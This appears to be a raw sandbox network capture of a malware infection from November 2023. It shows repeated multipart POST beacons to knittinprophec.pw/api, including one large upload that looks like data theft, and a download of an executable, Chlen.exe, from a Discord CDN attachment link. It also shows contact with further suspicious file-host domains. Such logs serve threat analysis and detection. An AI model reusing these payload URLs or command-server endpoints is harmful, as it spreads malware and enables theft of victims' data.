Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EGHTWzKjfAgotGsQIT7gS3kmizufl0I1OnidYR%2FBD4Kz5x0qr6gmKuD2FTp8%2Bs8pBOnTKUt6YHhcSUNedrA%2B5Z7DgJBkR%2F6i6sT0%2Bj6qviiVj1j3QqwSiJBjWvABqVasPZeyyA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8279398edb7f6637-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=27pik1c3h2lb0bbarntau3ovm8; expires=Tue, 12 Mar 2024 09:53:47 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:08 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J1MbzJsKG6CdK02GPIjzNpBy%2BM%2FpI3vaYYZTo6c0jIn2Tqwc6cOsalFcnUEVILl8F1L54BaaMpaJK4ecwZy3tOrz02rFiy5yEBBNMUpuv6TvX5W2Nul3TdpuNJ7heUcsnFD5Zg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939929c466610-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:09 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=n3h2st1d5jp83p7d5bfetlu6gi; expires=Tue, 12 Mar 2024 09:53:47 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:08 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QGZ2BeVDZO8VU4bw615Z%2FoUZgbqxc4eRX3W0RLzUaAg1z5Mved4xEzO2fxvf3E%2B%2B7ELlVjEG3P%2BSfngPqA47OOyK%2Bb9EPFXjbnwGUGp%2BRrNYOn1vr7GT3XGALeweloMQGau0rA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939969921667a-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:09 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=tegllnftdjoglvo3l50itc1li8; expires=Tue, 12 Mar 2024 09:53:48 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:09 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bTu6rzeHH83NN514Of8v3hU4%2BgImdUkMqUqWNwk2hknY%2BxIwps6c19rXpb3oj6dPrzl622f7Y8o6yZpnMXVExYxISXpq2zmbbNj2vPIJVKcPaxlC2%2BYHflaal%2FOuF6C4rbJMBg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8279399a287c0b73-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:10 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=1ufdhc07n352vonni9dbs2tlp0; expires=Tue, 12 Mar 2024 09:53:48 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:09 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nJggZS5QPMNkyM0BuXALDKAmYDPsSPwLgDfTpUl03QUKXJgCJeVeMMPh6LcljBevycff3FlsLHSh1e9SlFb58KRcU5Yi8IPvCurVtFba6F1KmhVQTvUjjyP%2Fqhh0f60Cv1wi7A%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8279399ceb646643-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:10 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=jq5cscfifn0cuk94hnsdspe4su; expires=Tue, 12 Mar 2024 09:53:49 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:10 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zZdrqOUnHwUgpM2x5d7awFvWuMteLGcJ1lEYZO%2FUUluvcGZ9GqQH5A%2BW2YfxwGWneLWHgjJI9iFuaBLjG1un22YPVwjhZs7o64iV7Kz4SDkyUxY5Obe3jNCX2%2FgdIibPeKuTqw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939a09f0eb927-AMS
-
DNS11.227.111.52.in-addr.arpaRemote address:8.8.8.8:53Request11.227.111.52.in-addr.arpaIN PTRResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:11 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=k4f99qkfu8cs8ajj31rgpq81l3; expires=Tue, 12 Mar 2024 09:53:50 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:11 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=moWjOrAFRlrZoDLKRAy9rTyOWrVoIjK%2FzPaCKYwthulNvLhJff3otYRupuVhW8BSlReDpEA%2BJCxcWoCyCtuTwTr%2FuhIOzSxL%2Bif5CbyTwGi%2Fw0iij2Nfr6wTUKqdX%2BF1qedmFw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939a558be5c48-AMS
-
DNScdn.discordapp.comRemote address:8.8.8.8:53Requestcdn.discordapp.comIN AResponsecdn.discordapp.comIN A162.159.129.233cdn.discordapp.comIN A162.159.133.233cdn.discordapp.comIN A162.159.134.233cdn.discordapp.comIN A162.159.135.233cdn.discordapp.comIN A162.159.130.233
-
GEThttps://cdn.discordapp.com/attachments/1149095701733724203/1174025624365584404/Chlen.exeRemote address:162.159.129.233:443RequestGET /attachments/1149095701733724203/1174025624365584404/Chlen.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:11 GMT
Content-Type: application/x-msdos-program
Content-Length: 1715688
Connection: keep-alive
CF-Ray: 827939abcf0c655b-AMS
CF-Cache-Status: HIT
Accept-Ranges: bytes
Age: 257291
Cache-Control: public, max-age=31536000
Content-Disposition: attachment; filename="Chlen.exe"
ETag: "ae9c2e6594d5d3cf864a9ab898384703"
Expires: Sat, 16 Nov 2024 16:07:11 GMT
Last-Modified: Tue, 14 Nov 2023 16:38:41 GMT
Vary: Accept-Encoding
Alt-Svc: h3=":443"; ma=86400
x-goog-generation: 1699979921284883
x-goog-hash: crc32c=8c7i6w==
x-goog-hash: md5=rpwuZZTV08+GSpq4mDhHAw==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1715688
X-GUploader-UploadID: ABPtcPqfSeXciL5a-mRLysBGtzYwwpsPiNfWUPTJuvpJ_cJjfaSrJ13Pe9uRQC0HhK6zLjZV_n8
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Set-Cookie: __cf_bm=x5Y7uKfKtYKRx7P7J5uPB2RJPBf2ts438KKtB.sgN3k-1700237231-0-AS6YlbgGK0lxvaY2agC9WPvqDKsLEXoZqyQ5slAaVqqy6gkHKyA/uFkk1u997LKampyLPz1P+6vTcJyFaC0hG5E=; path=/; expires=Fri, 17-Nov-23 16:37:11 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kGVSws9IhIvScPimY7ClRn3qWX3HCE%2FkLKwnLEwXpCusVwv%2B%2BAKIBoaYkwxUSqAvf%2BwvTF3rcUKxT%2BfmJQYUjjrCeBu3x5l%2FDlrXAkM6zBQ7%2FFbwlsr6clTzQfkeXjzn4TZBXA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Set-Cookie: _cfuvid=KWySeYVqaCi0JwnJz8UUqGfDHPShvUkf3sEZ0OJCL94-1700237231994-0-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 16309
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:13 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=db0ffav33lnj3katse4gj31dfp; expires=Tue, 12 Mar 2024 09:53:51 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:12 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7nsE3kR2ptBfd78Gb78tqjlRVZcITSIngXhpIomYUI4swR1p860SHkY7rOUreYh2cRFY1FFnQE2C4QYsu9ZXVY4U1QesEJ3jq4E6oiHugRVGYMD61yxP%2FZv8NHiDV9dSdtcLaQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939ae5ad8664c-AMS
-
DNS233.129.159.162.in-addr.arpaRemote address:8.8.8.8:53Request233.129.159.162.in-addr.arpaIN PTRResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:13 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=h85lhpj1n85cfh8gjio87op7sg; expires=Tue, 12 Mar 2024 09:53:52 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:13 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YdJ70tUaIhZVx4oyAeEqNNzWjPoQvtu06p%2BkieBn%2Be%2FngKOMEIDaLzN2eEAkC00hbzC%2BM7KMzeOeIaDYu9gS%2FxLKDWoDCRLRVGY5t8PNr7d86OL%2F%2BzxzCf1wTX1ZpZq0JQjpmQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939b48ce46644-AMS
-
DNS235.175.169.194.in-addr.arpaRemote address:8.8.8.8:53Request235.175.169.194.in-addr.arpaIN PTRResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5q9e55uqv5dqb7600o37kre1eo; expires=Tue, 12 Mar 2024 09:53:53 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:14 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UHNl81IjNua1MI4fBTBC1L%2BQYX7MxFwRHZOHG8WG3lv3oA8vMlBwsEGvU3dnmoCRMtyEqxhuaQ9n9IFowf444oVPnMKqX3xTfBo07gGKk9ALuNeqD7tDHSzCyaAiQaUP4a%2FChA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939b7cfac0bce-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=1p2v1fiav54vs7mvkrd8htlp9s; expires=Tue, 12 Mar 2024 09:53:54 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:15 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4KsVE5fnp0xa3Zmi7sGIamNjnR%2BZR4EeGA5R0Q%2B2ULj%2FnyXt5owz6XOnJLcyUifbbpRboXoq%2Fzg%2FvTvQVuD%2BE%2BRrzInrqblf%2FP6EN4JsEb%2BBP%2BiY%2FhcX9Ac%2FMqVBhPTYK%2BVTVg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939bfc854b987-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=8mof6kbfrteeg4o6qsjrk1gjjm; expires=Tue, 12 Mar 2024 09:53:55 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:16 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DH0CzGK9bmCtijEBPjBOouVvKEXd8aAUzZdXg13KaBWTO%2FtGnUyljg3oV7hL5nhiPB6x304pdMXgJipiQ%2FISF5UjnRFk2OXqeOsJQ4PhgsRiQcEvZHvjLyDYi7ZNWnTBCkw3Qw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939c35d636625-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=f5g1v05jpguahgk5mto3frghk2; expires=Tue, 12 Mar 2024 09:53:55 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:16 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=On05DJyMBnSUzpWz9wy1foxSCvi7vo8LYHeDL5OmpHRXmtS%2BtBTClyxunsOAJojYzQRo6KZac%2B9nZMDoYcNDq22SH1yR1QOKiTivz5ze6BttDJtcrL%2BdOdBqZ%2BYxYyFXqjLKkw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939c689bc0b3e-AMS
-
DNShost-file-host6.comRemote address:8.8.8.8:53Requesthost-file-host6.comIN AResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=dkcoc6038upp0hbmlbcldljd3l; expires=Tue, 12 Mar 2024 09:53:56 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:17 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d2B6UBKrarm3iwSW%2BbuWq5a6p0vzSVXsEPwegUz9NclYLq8PyzOpj13s%2BgI02%2BXogeQZPTCrfwDZsVBuN0gDlCe1xttaZTFC2z5LLXAF9aqLPyNp8IEe%2FMaq2CZt9W7g693Jpg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939ca984b0bc8-AMS
-
DNShost-host-file8.comRemote address:8.8.8.8:53Requesthost-host-file8.comIN AResponsehost-host-file8.comIN A95.214.26.28
-
POSThttp://host-host-file8.com/Remote address:95.214.26.28:80RequestPOST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fdjum.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 215
Host: host-host-file8.com
ResponseHTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 17 Nov 2023 16:07:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=g3tp2kmuu2ij9pdek21o3v4jue; expires=Tue, 12 Mar 2024 09:53:56 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:17 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
